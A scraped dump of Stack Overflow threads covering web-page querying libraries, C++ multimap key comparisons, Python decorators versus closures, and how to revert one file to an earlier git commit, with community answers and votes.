I am looking for project, commercial or not, that does a good job at making a webpage queryable and that even follows links on it to aggregate information from a bunch of pages.
I would prefere a sql or linq like syntax. I could of course download a webpage and start doing some XPATH on it but Im looking for a solution that has a nice abstraction.
I found websql
<http://www.cs.utoronto.ca/~websql/>
Which looks good but I'm not into Java
```
SELECT a.label
FROM Anchor a SUCH THAT base = "http://www.SomeDoc.html"
WHERE a.href CONTAINS ".ps.Z";
```
Are there others out there?
Is there a library that can be used in a .NET language?
|
See [hpricot](http://code.whytheluckystiff.net/hpricot/) (a Ruby library).
```
# load the RedHanded home page
doc = Hpricot(open("http://redhanded.hobix.com/index.html"))
# change the CSS class on links
(doc/"span.entryPermalink").set("class", "newLinks")
# remove the sidebar
(doc/"#sidebar").remove
# print the altered HTML
puts doc
```
It supports querying with CSS or XPath selectors.
|
215,684 |
<p>I have a std::multimap where key is a custom class. Something like this:</p>
<pre><code>Class X {
public:
std::string s;
int x;
operator <(const X& other) const { return s < other.s; }
};
std::multimap<X, int> mymap;
</code></pre>
<p>Now, I'd like to use upper_bound and lower_bound to iterate over all elements with the same value of "s". Do I need to implement some other operator for X (for example: ==). Or it will work properly just like this?</p>
<p>Also, what should I supply as argument for <em>upper_bound</em> and <em>lower_bound</em>? I assume I should create a dummy object with desired value of "s"?</p>
|
[
{
"answer_id": 215688,
"author": "gbjbaanb",
"author_id": 13744,
"author_profile": "https://Stackoverflow.com/users/13744",
"pm_score": 0,
"selected": false,
"text": "<p>you only need to provide an operator == and <.</p>\n\n<p>upper_bound and lower_bound are just like any other find-type method, so you need the same kind of object to compare with - in your case, a 'dummy' object with the required value of s.</p>\n\n<p><strong>edit</strong>: the comments are correct that you only need operator< for lower/upper_bound, and find. But if you want to call other methods on your container, you will need operator== as well. Eg. if you want to sort() your container, you will need operator==.</p>\n\n<p>The 2 overloads you need for all STL containers are operator< and operator==. I find its best practise to implement them both.</p>\n\n<p>Of course, the question could also be answered more fully by implementing a comparison functor in the map itself, not relying on the objects. This is often a good way to implement different ways of calling find() on the map.</p>\n"
},
{
"answer_id": 215692,
"author": "Michael Burr",
"author_id": 12711,
"author_profile": "https://Stackoverflow.com/users/12711",
"pm_score": 4,
"selected": true,
"text": "<p>Since <code>class X</code> is the key for the multimap, the parameter to <code>upper_bound()</code>/<code>lower_bound()</code> needs to be of that type. If <code>class X</code> has an implicit conversion from <code>std::string</code> (which is the type of <code>X::s</code>) then you can use that as the parameter to <code>upper_bound()</code>/<code>lower_bound()</code>.</p>\n\n<p>The default comparison for multimap is <code>less<></code> which simply calls <code>operator <()</code> - so that's the only operator you a required to have in <code>class X</code> for the multimap to work.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215684",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/14690/"
] |
I have a std::multimap where key is a custom class. Something like this:
```
Class X {
public:
std::string s;
int x;
operator <(const X& other) const { return s < other.s; }
};
std::multimap<X, int> mymap;
```
Now, I'd like to use upper\_bound and lower\_bound to iterate over all elements with the same value of "s". Do I need to implement some other operator for X (for example: ==). Or it will work properly just like this?
Also, what should I supply as argument for *upper\_bound* and *lower\_bound*? I assume I should create a dummy object with desired value of "s"?
|
Since `class X` is the key for the multimap, the parameter to `upper_bound()`/`lower_bound()` needs to be of that type. If `class X` has an implicit conversion from `std::string` (which is the type of `X::s`) then you can use that as the parameter to `upper_bound()`/`lower_bound()`.
The default comparison for multimap is `less<>` which simply calls `operator <()` - so that's the only operator you a required to have in `class X` for the multimap to work.
|
215,689 |
<p>I still haven't got my head around decorators in Python.</p>
<p>I've already started using a lot of closures to do things like customize functions and classes in my coding.</p>
<p>Eg.</p>
<pre><code>class Node :
def __init__(self,val,children) :
self.val = val
self.children = children
def makeRunner(f) :
def run(node) :
f(node)
for x in node.children :
run(x)
return run
tree=Node(1,[Node(2,[]),Node(3,[Node(4,[]),Node(5,[])])])
def pp(n) : print "%s," % n.val
printTree = makeRunner(pp)
printTree(tree)
</code></pre>
<p>As far as I can see, decorators are just a different syntax for doing something similar. </p>
<p>Instead of </p>
<pre><code>def pp(n) : print "%s," % n.val
printTree = makeRunner(pp)
</code></pre>
<p>I would write :</p>
<pre><code>@makeRunner
def printTree(n) : print "%s," % n.val
</code></pre>
<p>Is this all there is to decorators? Or is there a fundamental difference that I've missed? </p>
|
[
{
"answer_id": 215782,
"author": "tzot",
"author_id": 6899,
"author_profile": "https://Stackoverflow.com/users/6899",
"pm_score": 3,
"selected": false,
"text": "<p>Are your examples real code, or just examples?</p>\n\n<p>If they're real code, I think you overuse decorators, probably because of your background (i.e. you are used to other programming languages)</p>\n\n<h3>Stage 1: avoiding decorators</h3>\n\n<pre><code>def run(rootnode, func):\n def _run(node): # recursive internal function\n func(node)\n for x in node.children:\n _run(x) # recurse\n _run(rootnode) # initial run\n</code></pre>\n\n<p>This run method obsoletes makeRunner. Your example turns to:</p>\n\n<pre><code>def pp(n): print \"%s,\" % n.val\nrun(tree, pp)\n</code></pre>\n\n<p>However, this ignores completely generators, so…</p>\n\n<h3>Stage 2: using generators</h3>\n\n<pre><code>class Node :\n def __init__(self,val,children) :\n self.val = val\n self.children = children\n\n def __iter__(self): # recursive\n yield self\n for child in self.children:\n for item in child: # recurse\n yield item\n\ndef run(rootnode, func):\n for node in rootnode:\n func(node)\n</code></pre>\n\n<p>Your example remains</p>\n\n<pre><code>def pp(n): print \"%s,\" % n.val\nrun(tree, pp)\n</code></pre>\n\n<p>Note that the special method <code>__iter__</code> allows us to use the <code>for node in rootnode:</code> construct. If you don't like it, just rename the <code>__iter__</code> method to e.g. <code>walker</code>, and change the <code>run</code> loop into: <code>for node in rootnode.walker():</code><br>\nObviously, the <code>run</code> function could be a method of <code>class Node</code> instead.</p>\n\n<p>As you see, I suggest you use directly <code>run(tree, func)</code> instead of binding them to the name <code>printTree</code>, but you can use them in a decorator, or you can make use of the <code>functools.partial</code> function:</p>\n\n<pre><code>printTree= functools.partial(run, func=pp)\n</code></pre>\n\n<p>and from then on, you would just</p>\n\n<pre><code>printTree(tree)\n</code></pre>\n"
},
{
"answer_id": 335442,
"author": "Dutch Masters",
"author_id": 42037,
"author_profile": "https://Stackoverflow.com/users/42037",
"pm_score": 4,
"selected": false,
"text": "<p>While it is true that syntactically, decorators are just \"sugar\", that is not the best way to think about them.</p>\n\n<p>Decorators allow you to weave functionality into your existing code without actually modifying it. And they allow you to do it in a way that is declarative.</p>\n\n<p>This allows you to use decorators to do <em>aspect-oriented programming</em> (AOP). So you want to use a decorator when you have a cross-cutting concern that you want to encapsulate in one place. </p>\n\n<p>The quintessential example would probably be logging, where you want to log the entry or exit of a function, or both. Using a decorator is equivalent to applying advice (log this!) to a joinpoint (during method entry or exit).</p>\n\n<p>Method decoration is a concept like OOP or list comprehensions. As you point out, it is not always appropriate, and <strong>can</strong> be overused. But in the right place, it can be useful for making code more modular and decoupled.</p>\n"
},
{
"answer_id": 26626194,
"author": "kako-nawao",
"author_id": 844972,
"author_profile": "https://Stackoverflow.com/users/844972",
"pm_score": 2,
"selected": false,
"text": "<p>Following up Dutch Master's AOP reference, you'll find that using decorators becomes especially useful when you start <strong>adding parameters</strong> to modify the behaviour of the decorated function/method, and reading that above the function definition is so much easier.</p>\n\n<p>In one project I recall, we needed to supervise tons of celery tasks and so we came up with the idea of using a decorator to plug-and-tweak as required, which was something like:</p>\n\n<pre><code>class tracked_with(object):\n \"\"\"\n Method decorator used to track the results of celery tasks.\n \"\"\"\n def __init__(self, model, unique=False, id_attr='results_id',\n log_error=False, raise_error=False):\n self.model = model\n self.unique = unique\n self.id_attr = id_attr\n self.log_error = log_error\n self.raise_error = raise_error\n\n def __call__(self, fn):\n\n def wrapped(*args, **kwargs):\n # Unique passed by parameter has priority above the decorator def\n unique = kwargs.get('unique', None)\n if unique is not None:\n self.unique = unique\n\n if self.unique:\n caller = args[0]\n pending = self.model.objects.filter(\n state=self.model.Running,\n task_type=caller.__class__.__name__\n )\n if pending.exists():\n raise AssertionError('Another {} task is already running'\n ''.format(caller.__class__.__name__))\n\n results_id = kwargs.get(self.id_attr)\n try:\n result = fn(*args, **kwargs)\n\n except Retry:\n # Retry must always be raised to retry a task\n raise\n\n except Exception as e:\n # Error, update stats, log/raise/return depending on values\n if results_id:\n self.model.update_stats(results_id, error=e)\n if self.log_error:\n logger.error(e)\n if self.raise_error:\n raise\n else:\n return e\n\n else:\n # No error, save results in refresh object and return\n if results_id:\n self.model.update_stats(results_id, **result)\n return result\n\n return wrapped\n</code></pre>\n\n<p>Then we simply decorated the <code>run</code> method on the tasks with the params required for each case, like:</p>\n\n<pre><code>class SomeTask(Task):\n\n @tracked_with(RefreshResults, unique=True, log_error=False)\n def run(self, *args, **kwargs)...\n</code></pre>\n\n<p>Then changing the behaviour of the task (or removing the tracking altogether) meant tweaking one param, or commenting out the decorated line. Super easy to implement, but more importantly, <strong>super easy to understand</strong> on inspection.</p>\n"
},
{
"answer_id": 45866054,
"author": "Chen A.",
"author_id": 840582,
"author_profile": "https://Stackoverflow.com/users/840582",
"pm_score": 3,
"selected": false,
"text": "<p><strong>Decorators</strong>, in the general sense, are functions or classes that wrap around another object, that extend, or decorate the object. The decorator supports the same interface as the wrapped function or object, so the receiver doesn't even know the object has been decorated.</p>\n<p>A <strong>closure</strong> is an anonymous function that refers to its parameters or other variables outside its scope.</p>\n<p>So basically, <strong>decorators</strong> uses <strong>closures</strong>, and not replace them.</p>\n<pre><code>def increment(x):\n return x + 1\n\ndef double_increment(func):\n def wrapper(x):\n print 'decorator executed'\n r = func(x) # --> func is saved in __closure__\n y = r * 2\n return r, y\n return wrapper\n\n@double_increment\ndef increment(x):\n return x + 1\n\n>>> increment(2)\ndecorator executed\n(3, 6)\n\n>>> increment.__closure__\n(<cell at 0x02C7DC50: function object at 0x02C85DB0>,)\n\n>>> increment.__closure__[0].cell_contents \n<function increment at 0x02C85DB0>\n</code></pre>\n<p>So the <strong>decorator</strong> saves the original function with <strong>closure</strong>.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215689",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8482/"
] |
I still haven't got my head around decorators in Python.
I've already started using a lot of closures to do things like customize functions and classes in my coding.
Eg.
```
class Node :
def __init__(self,val,children) :
self.val = val
self.children = children
def makeRunner(f) :
def run(node) :
f(node)
for x in node.children :
run(x)
return run
tree=Node(1,[Node(2,[]),Node(3,[Node(4,[]),Node(5,[])])])
def pp(n) : print "%s," % n.val
printTree = makeRunner(pp)
printTree(tree)
```
As far as I can see, decorators are just a different syntax for doing something similar.
Instead of
```
def pp(n) : print "%s," % n.val
printTree = makeRunner(pp)
```
I would write :
```
@makeRunner
def printTree(n) : print "%s," % n.val
```
Is this all there is to decorators? Or is there a fundamental difference that I've missed?
|
While it is true that syntactically, decorators are just "sugar", that is not the best way to think about them.
Decorators allow you to weave functionality into your existing code without actually modifying it. And they allow you to do it in a way that is declarative.
This allows you to use decorators to do *aspect-oriented programming* (AOP). So you want to use a decorator when you have a cross-cutting concern that you want to encapsulate in one place.
The quintessential example would probably be logging, where you want to log the entry or exit of a function, or both. Using a decorator is equivalent to applying advice (log this!) to a joinpoint (during method entry or exit).
Method decoration is a concept like OOP or list comprehensions. As you point out, it is not always appropriate, and **can** be overused. But in the right place, it can be useful for making code more modular and decoupled.
|
215,718 |
<p>How do I revert a modified file to its previous revision at a specific commit hash (which I determined via <a href="https://git-scm.com/docs/git-log" rel="noreferrer"><code>git log</code></a> and <a href="https://git-scm.com/docs/git-diff" rel="noreferrer"><code>git diff</code></a>)?</p>
|
[
{
"answer_id": 35288,
"author": "Greg Hewgill",
"author_id": 893,
"author_profile": "https://Stackoverflow.com/users/893",
"pm_score": 8,
"selected": false,
"text": "<pre><code>git checkout -- foo\n</code></pre>\n\n<p>That will reset <code>foo</code> to HEAD. You can also:</p>\n\n<pre><code>git checkout HEAD^ foo\n</code></pre>\n\n<p>for one revision back, etc.</p>\n"
},
{
"answer_id": 35335,
"author": "Aaron Maenpaa",
"author_id": 2603,
"author_profile": "https://Stackoverflow.com/users/2603",
"pm_score": 5,
"selected": false,
"text": "<p>Amusingly, <code>git checkout foo</code> will not work if the working copy is in a directory named <code>foo</code>; however, both <code>git checkout HEAD foo</code> and <code>git checkout ./foo</code> will:</p>\n\n<pre><code>$ pwd\n/Users/aaron/Documents/work/foo\n$ git checkout foo\nD foo\nAlready on \"foo\"\n$ git checkout ./foo\n$ git checkout HEAD foo\n</code></pre>\n"
},
{
"answer_id": 36801,
"author": "Damien Diederen",
"author_id": 3844,
"author_profile": "https://Stackoverflow.com/users/3844",
"pm_score": 4,
"selected": false,
"text": "<p>Note, however, that <code>git checkout ./foo</code> and <code>git checkout HEAD ./foo</code>\nare not <strong>exactly</strong> the same thing; case in point:</p>\n\n<pre><code>$ echo A > foo\n$ git add foo\n$ git commit -m 'A' foo\nCreated commit a1f085f: A\n1 files changed, 1 insertions(+), 0 deletions(-)\ncreate mode 100644 foo\n$ echo B >> foo\n$ git add foo\n$ echo C >> foo\n$ cat foo\nA\nB\nC\n$ git checkout ./foo\n$ cat foo\nA\nB\n$ git checkout HEAD ./foo\n$ cat foo\nA\n</code></pre>\n\n<p>(The second <code>add</code> stages the file in the index, but it does <em>not</em> get\ncommitted.)</p>\n\n<p><code>Git checkout ./foo</code> means revert path <code>./foo</code> from the <strong>index</strong>;\nadding <code>HEAD</code> instructs Git to revert that path in the index to its\n<code>HEAD</code> revision before doing so.</p>\n"
},
{
"answer_id": 215731,
"author": "Greg Hewgill",
"author_id": 893,
"author_profile": "https://Stackoverflow.com/users/893",
"pm_score": 14,
"selected": true,
"text": "<p>Assuming the hash of the commit you want is <code>c5f567</code>:</p>\n<pre><code>git checkout c5f567 -- file1/to/restore file2/to/restore\n</code></pre>\n<p>The <a href=\"https://git-scm.com/docs/git-checkout\" rel=\"noreferrer\">git checkout</a> man page gives more information.</p>\n<p>If you want to revert to the commit before <code>c5f567</code>, append <code>~1</code> (where 1 is the number of commits you want to go back, it can be anything):</p>\n<pre><code>git checkout c5f567~1 -- file1/to/restore file2/to/restore\n</code></pre>\n<p>As a side note, I've always been uncomfortable with this command because it's used for both ordinary things (changing between branches) and unusual, destructive things (discarding changes in the working directory).</p>\n<hr />\n<p>There is also a new <a href=\"https://git-scm.com/docs/git-restore\" rel=\"noreferrer\"><code>git restore</code></a> command that is specifically designed for restoring working copy files that have been modified. If your git is new enough you can use this command, but the documentation comes with a warning:</p>\n<blockquote>\n<p>THIS COMMAND IS EXPERIMENTAL. THE BEHAVIOR MAY CHANGE.</p>\n</blockquote>\n"
},
{
"answer_id": 215768,
"author": "Aristotle Pagaltzis",
"author_id": 9410,
"author_profile": "https://Stackoverflow.com/users/9410",
"pm_score": 5,
"selected": false,
"text": "<p>I have to plug <a href=\"https://people.gnome.org/~newren/eg/\" rel=\"noreferrer\">EasyGit</a> here, which is a wrapper to make git more approachable to novices without confusing seasoned users. One of the things it does is <a href=\"http://www.gnome.org/~newren/eg/git-eg-differences.html#revert\" rel=\"noreferrer\">give more meanings to <code>git revert</code></a>. In this case, you would simply say:</p>\n\n<p><code><a href=\"http://www.gnome.org/~newren/eg/documentation/revert.html\" rel=\"noreferrer\">eg revert</a> <b>foo/bar foo/baz</b></code></p>\n"
},
{
"answer_id": 373834,
"author": "jdee",
"author_id": 39655,
"author_profile": "https://Stackoverflow.com/users/39655",
"pm_score": 6,
"selected": false,
"text": "<p>I think I've found it....from <a href=\"http://www-cs-students.stanford.edu/~blynn/gitmagic/ch02.html\" rel=\"noreferrer\">http://www-cs-students.stanford.edu/~blynn/gitmagic/ch02.html</a></p>\n\n<p>Sometimes you just want to go back and forget about every change past a certain point because they're all wrong. </p>\n\n<p>Start with:</p>\n\n<p><code>$ git log</code></p>\n\n<p>which shows you a list of recent commits, and their SHA1 hashes. </p>\n\n<p>Next, type:</p>\n\n<p><code>$ git reset --hard SHA1_HASH</code></p>\n\n<p>to restore the state to a given commit and erase all newer commits from the record permanently.</p>\n"
},
{
"answer_id": 373848,
"author": "Chris Lloyd",
"author_id": 42413,
"author_profile": "https://Stackoverflow.com/users/42413",
"pm_score": 10,
"selected": false,
"text": "<p>You can quickly review the changes made to a file using the diff command:</p>\n\n<pre><code>git diff <commit hash> <filename>\n</code></pre>\n\n<p>Then to revert a specific file to that commit use the reset command:</p>\n\n<pre><code>git reset <commit hash> <filename>\n</code></pre>\n\n<p>You may need to use the <code>--hard</code> option if you have local modifications.</p>\n\n<p>A good workflow for managaging waypoints is to use tags to cleanly mark points in your timeline. I can't quite understand your last sentence but what you may want is diverge a branch from a previous point in time. To do this, use the handy checkout command:</p>\n\n<pre><code>git checkout <commit hash>\ngit checkout -b <new branch name>\n</code></pre>\n\n<p>You can then rebase that against your mainline when you are ready to merge those changes:</p>\n\n<pre><code>git checkout <my branch>\ngit rebase master\ngit checkout master\ngit merge <my branch>\n</code></pre>\n"
},
{
"answer_id": 375626,
"author": "Otto",
"author_id": 9594,
"author_profile": "https://Stackoverflow.com/users/9594",
"pm_score": 3,
"selected": false,
"text": "<pre><code>git revert <hash>\n</code></pre>\n\n<p>Will revert a given commit. It sounds like you think <code>git revert</code> only affects the most recent commit.</p>\n\n<p>That doesn't solve your problem, if you want to revert a change in a specific file and that commit changed more than that file.</p>\n"
},
{
"answer_id": 432564,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 6,
"selected": false,
"text": "<p>You have to be careful when you say \"rollback\". If you used to have one version of a file in commit $A, and then later made two changes in two separate commits $B and $C (so what you are seeing is the third iteration of the file), and if you say \"I want to roll back to the first one\", do you really mean it? </p>\n\n<p>If you want to get rid of the changes both the second and the third iteration, it is very simple:</p>\n\n<pre><code>$ git checkout $A file\n</code></pre>\n\n<p>and then you commit the result. The command asks \"I want to check out the file from the state recorded by the commit $A\".</p>\n\n<p>On the other hand, what you meant is to get rid of the change the second iteration (i.e. commit $B) brought in, while keeping what commit $C did to the file, you would want to revert $B</p>\n\n<pre><code>$ git revert $B\n</code></pre>\n\n<p>Note that whoever created commit $B may not have been very disciplined and may have committed totally unrelated change in the same commit, and this revert may touch files other than <em>file</em> you see offending changes, so you may want to check the result carefully after doing so.</p>\n"
},
{
"answer_id": 581113,
"author": "cmcginty",
"author_id": 64313,
"author_profile": "https://Stackoverflow.com/users/64313",
"pm_score": 5,
"selected": false,
"text": "<p>Here's how <code>rebase</code> works:</p>\n\n<blockquote>\n<pre><code>git checkout <my branch>\ngit rebase master\ngit checkout master\ngit merge <my branch>\n</code></pre>\n</blockquote>\n\n<hr>\n\n<p>Assume you have</p>\n\n<blockquote>\n<pre><code>---o----o----o----o master\n \\---A----B <my branch>\n</code></pre>\n</blockquote>\n\n<p>The first two commands ...\ncommit\n git checkout \n git rebase master</p>\n\n<p>... check out the branch of changes you want to apply to the <code>master</code> branch. The <code>rebase</code> command takes the commits from <code><my branch></code> (that are not found in <code>master</code>) and reapplies them to the head of <code>master</code>. In other words, the parent of the first commit in <code><my branch></code> is no longer a previous commit in the <code>master</code> history, but the current head of <code>master</code>. The two commands are the same as:</p>\n\n<pre><code>git rebase master <my branch>\n</code></pre>\n\n<p>It might be easier to remember this command as both the \"base\" and \"modify\" branches are explicit.</p>\n\n<p>. The final history result is:</p>\n\n<blockquote>\n<pre><code>---o----o----o----o master\n \\----A'----B' <my branch>\n</code></pre>\n</blockquote>\n\n<hr>\n\n<p>The final two commands ...</p>\n\n<pre><code>git checkout master\ngit merge <my branch>\n</code></pre>\n\n<p>... do a fast-forward merge to apply all <code><my branch></code> changes onto <code>master</code>. Without this step, the rebase commit does not get added to <code>master</code>. The final result is:</p>\n\n<blockquote>\n<pre><code>---o----o----o----o----A'----B' master, <my branch>\n</code></pre>\n</blockquote>\n\n<p><code>master</code> and <code><my branch></code> both reference <code>B'</code>. Also, from this point it is safe to delete the <code><my branch></code> reference.</p>\n\n<pre><code>git branch -d <my branch>\n</code></pre>\n"
},
{
"answer_id": 725893,
"author": "Ron DeVera",
"author_id": 63428,
"author_profile": "https://Stackoverflow.com/users/63428",
"pm_score": 7,
"selected": false,
"text": "<p>If you know how many commits you need to go back, you can use:</p>\n\n<pre><code>git checkout master~5 image.png\n</code></pre>\n\n<p>This assumes that you're on the <code>master</code> branch, and the version you want is 5 commits back.</p>\n"
},
{
"answer_id": 727725,
"author": "foxxtrot",
"author_id": 10369,
"author_profile": "https://Stackoverflow.com/users/10369",
"pm_score": 9,
"selected": false,
"text": "<p>You can use any reference to a git commit, including the SHA-1 if that's most convenient. The point is that the command looks like this:</p>\n\n<p><code>git checkout [commit-ref] -- [filename]</code></p>\n"
},
{
"answer_id": 917126,
"author": "bbrown",
"author_id": 20595,
"author_profile": "https://Stackoverflow.com/users/20595",
"pm_score": 7,
"selected": false,
"text": "<p>I had the same issue just now and I found <a href=\"https://stackoverflow.com/questions/725749/how-would-you-go-about-reverting-a-single-file-to-previous-commit-state-using-git/727725#727725\">this answer</a> easiest to understand (<code>commit-ref</code> is the SHA value of the change in the log you want to go back to):</p>\n\n<pre><code>git checkout [commit-ref] [filename]\n</code></pre>\n\n<p>This will put that old version in your working directory and from there you can commit it if you want.</p>\n"
},
{
"answer_id": 7197855,
"author": "v2k",
"author_id": 146550,
"author_profile": "https://Stackoverflow.com/users/146550",
"pm_score": 6,
"selected": false,
"text": "<p>This worked for me:</p>\n\n<pre><code>git checkout <commit hash> file\n</code></pre>\n\n<p>Then commit the change:</p>\n\n<pre><code>git commit -a\n</code></pre>\n"
},
{
"answer_id": 8391189,
"author": "mustafakyr",
"author_id": 1082254,
"author_profile": "https://Stackoverflow.com/users/1082254",
"pm_score": 3,
"selected": false,
"text": "<p>Use <code>git log</code> to obtain the hash key for specific version and then use <code>git checkout <hashkey></code></p>\n\n<p>Note: Do not forget to type the hash before the last one. Last hash points your current position (HEAD) and changes nothing.</p>\n"
},
{
"answer_id": 8529292,
"author": "Ian Davis",
"author_id": 1101152,
"author_profile": "https://Stackoverflow.com/users/1101152",
"pm_score": 3,
"selected": false,
"text": "<p>Obviously someone either needs to write an intelligible book on git, or git needs to be better explained in the documentation. Faced with this same problem I guessed that </p>\n\n<pre><code>cd <working copy>\ngit revert master\n</code></pre>\n\n<p>would undo the last commit which is seemed to do.</p>\n\n<p>Ian</p>\n"
},
{
"answer_id": 8860548,
"author": "CDR",
"author_id": 50542,
"author_profile": "https://Stackoverflow.com/users/50542",
"pm_score": 7,
"selected": false,
"text": "<p>And to revert to last committed version, which is most frequently needed, you can use this simpler command.</p>\n\n<pre><code>git checkout HEAD file/to/restore\n</code></pre>\n"
},
{
"answer_id": 19034316,
"author": "Amos Folarin",
"author_id": 771372,
"author_profile": "https://Stackoverflow.com/users/771372",
"pm_score": 4,
"selected": false,
"text": "<p>git checkout ref|commitHash -- filePath</p>\n\n<p>e.g. </p>\n\n<pre><code>git checkout HEAD~5 -- foo.bar\nor \ngit checkout 048ee28 -- foo.bar\n</code></pre>\n"
},
{
"answer_id": 21056953,
"author": "ModernIncantations",
"author_id": 1998744,
"author_profile": "https://Stackoverflow.com/users/1998744",
"pm_score": 5,
"selected": false,
"text": "<p>In the case that you want to revert a file to a previous commit (and the file you want to revert already committed) you can use</p>\n\n<pre><code>git checkout HEAD^1 path/to/file\n</code></pre>\n\n<p>or</p>\n\n<pre><code>git checkout HEAD~1 path/to/file\n</code></pre>\n\n<p>Then just stage and commit the \"new\" version.</p>\n\n<p>Armed with the knowledge that a commit can have two parents in the case of a merge, you should know that HEAD^1 is the first parent and HEAD~1 is the second parent.</p>\n\n<p>Either will work if there is only one parent in the tree.</p>\n"
},
{
"answer_id": 22016441,
"author": "shah1988",
"author_id": 2189927,
"author_profile": "https://Stackoverflow.com/users/2189927",
"pm_score": 4,
"selected": false,
"text": "<p>In order to go to a previous commit version of the file, get the commit number, say eb917a1\nthen </p>\n\n<pre><code>git checkout eb917a1 YourFileName\n</code></pre>\n\n<p>If you just need to go back to the last commited version</p>\n\n<pre><code>git reset HEAD YourFileName\ngit checkout YourFileName\n</code></pre>\n\n<p>This will simply take you to the last committed state of the file</p>\n"
},
{
"answer_id": 29980518,
"author": "TheCodeArtist",
"author_id": 319204,
"author_profile": "https://Stackoverflow.com/users/319204",
"pm_score": 5,
"selected": false,
"text": "<blockquote>\n<p>git-aliases, awk and shell-functions to the rescue!</p>\n</blockquote>\n<pre><code>git prevision <N> <filename>\n</code></pre>\n<p>where <code><N></code> is the number of revisions of the file to rollback for file <code><filename></code>.<br />\nFor example, to checkout the immediate previous revision of a single file <code>x/y/z.c</code>, run</p>\n<pre><code>git prevision -1 x/y/z.c\n</code></pre>\n<hr />\n<h3><a href=\"http://thecodeartist.blogspot.in/2015/04/git-prevision-checkout-previous-version-of-file.html\" rel=\"noreferrer\">How git prevision works?</a></h3>\n<p>Add the following to your <code>gitconfig</code></p>\n<pre><code>[alias]\n prevision = "!f() { git checkout `git log --oneline $2 | awk -v commit="$1" 'FNR == -commit+1 {print $1}'` $2;} ;f"\n</code></pre>\n<blockquote>\n<p>The command basically</p>\n<ul>\n<li>performs a <code>git log</code> on the specified file and</li>\n<li>picks the appropriate commit-id in the history of the file and</li>\n<li>executes a <code>git checkout</code> to the commit-id for the specified file.</li>\n</ul>\n</blockquote>\n<p><em>Essentially, all that one would manually do in this situation,<br />\nwrapped-up in one beautiful, efficient git-alias - <strong><a href=\"http://thecodeartist.blogspot.in/2015/04/git-prevision-checkout-previous-version-of-file.html\" rel=\"noreferrer\">git-prevision</a></strong></em></p>\n"
},
{
"answer_id": 34666232,
"author": "Peter V. Mørch",
"author_id": 345716,
"author_profile": "https://Stackoverflow.com/users/345716",
"pm_score": 5,
"selected": false,
"text": "<p>Many suggestions here, most along the lines of <code>git checkout $revision -- $file</code>. A couple of obscure alternatives:</p>\n\n<pre><code>git show $revision:$file > $file\n</code></pre>\n\n<p>And also, I use this a lot just to see a particular version temporarily:</p>\n\n<pre><code>git show $revision:$file\n</code></pre>\n\n<p>or</p>\n\n<pre><code>git show $revision:$file | vim -R -\n</code></pre>\n\n<p>(OBS: <code>$file</code> needs to be prefixed with <code>./</code> if it is a relative path for <code>git show $revision:$file</code> to work)</p>\n\n<p>And the even more weird:</p>\n\n<pre><code>git archive $revision $file | tar -x0 > $file\n</code></pre>\n"
},
{
"answer_id": 41020368,
"author": "Vince",
"author_id": 1624598,
"author_profile": "https://Stackoverflow.com/users/1624598",
"pm_score": 4,
"selected": false,
"text": "<p>Many answers here claims to use <code>git reset ... <file></code> or <code>git checkout ... <file></code> but by doing so, you will loose every modifications on <code><file></code> committed after the commit you want to revert.</p>\n\n<p>If you want to revert changes from one commit on a single file only, just as <code>git revert</code> would do but only for one file (or say a subset of the commit files), I suggest to use both <code>git diff</code> and <code>git apply</code> like that (with <code><sha></code> = the hash of the commit you want to revert) :</p>\n\n<pre><code>git diff <sha>^ <sha> path/to/file.ext | git apply -R\n</code></pre>\n\n<p>Basically, it will first generate a patch corresponding to the changes you want to revert, and then reverse-apply the patch to drop those changes.</p>\n\n<p>Of course, it shall not work if reverted lines had been modified by any commit between <code><sha1></code> and <code>HEAD</code> (conflict).</p>\n"
},
{
"answer_id": 42758961,
"author": "Francis Bacon",
"author_id": 5097539,
"author_profile": "https://Stackoverflow.com/users/5097539",
"pm_score": 2,
"selected": false,
"text": "<p>Here is my way.</p>\n\n<p>a) In Android Studio, open the file.</p>\n\n<p>b) git -> Show History, find the previous commit I want to revert to. Get the commit_id (i.e. commit hash).</p>\n\n<p>c) <code>git checkout commit_id file_path</code></p>\n"
},
{
"answer_id": 42963059,
"author": "desmond13",
"author_id": 2761849,
"author_profile": "https://Stackoverflow.com/users/2761849",
"pm_score": 4,
"selected": false,
"text": "<p>For me none of the reply seemed really clear and therefore I would like to add mine which seems super easy. </p>\n\n<p>I have a commit <code>abc1</code> and after it I have done several (or one modification) to a file <code>file.txt</code>.</p>\n\n<p><strong>Now say that I messed up something in the file <code>file.txt</code> and I want to go back to a previous commit <code>abc1</code>.</strong></p>\n\n<p>1.<code>git checkout file.txt</code> : this will remove local changes, if you don't need them</p>\n\n<p>2.<code>git checkout abc1 file.txt</code> : this will bring your file to your <em>wanted</em> version</p>\n\n<p>3.<code>git commit -m \"Restored file.txt to version abc1\"</code> : this will commit your reversion.</p>\n\n<ol start=\"4\">\n<li><code>git push</code> : this will push everything on the remote repository </li>\n</ol>\n\n<p>Between the step 2 and 3 of course you can do <code>git status</code> to understand what is going on. Usually you should see the <code>file.txt</code> already added and that is why there is no need of a <code>git add</code>.</p>\n"
},
{
"answer_id": 43204559,
"author": "Gulshan Maurya",
"author_id": 4035691,
"author_profile": "https://Stackoverflow.com/users/4035691",
"pm_score": 5,
"selected": false,
"text": "<p>First Reset Head For Target File</p>\n\n<pre><code>git reset HEAD path_to_file\n</code></pre>\n\n<p>Second Checkout That File</p>\n\n<pre><code>git checkout -- path_to_file\n</code></pre>\n"
},
{
"answer_id": 46416605,
"author": "Chris Halcrow",
"author_id": 1549918,
"author_profile": "https://Stackoverflow.com/users/1549918",
"pm_score": 2,
"selected": false,
"text": "<p>If you're using Git Extensions and you only want to revert to the parent commit for the file, you can select the commit that contains the changes you want to revert, then select the 'Diff' tab in the details pane, right-click the file you want to revert, then 'Reset file(s) to' ...., then 'A' (the parent)</p>\n"
},
{
"answer_id": 50231389,
"author": "Nir M.",
"author_id": 1518020,
"author_profile": "https://Stackoverflow.com/users/1518020",
"pm_score": 3,
"selected": false,
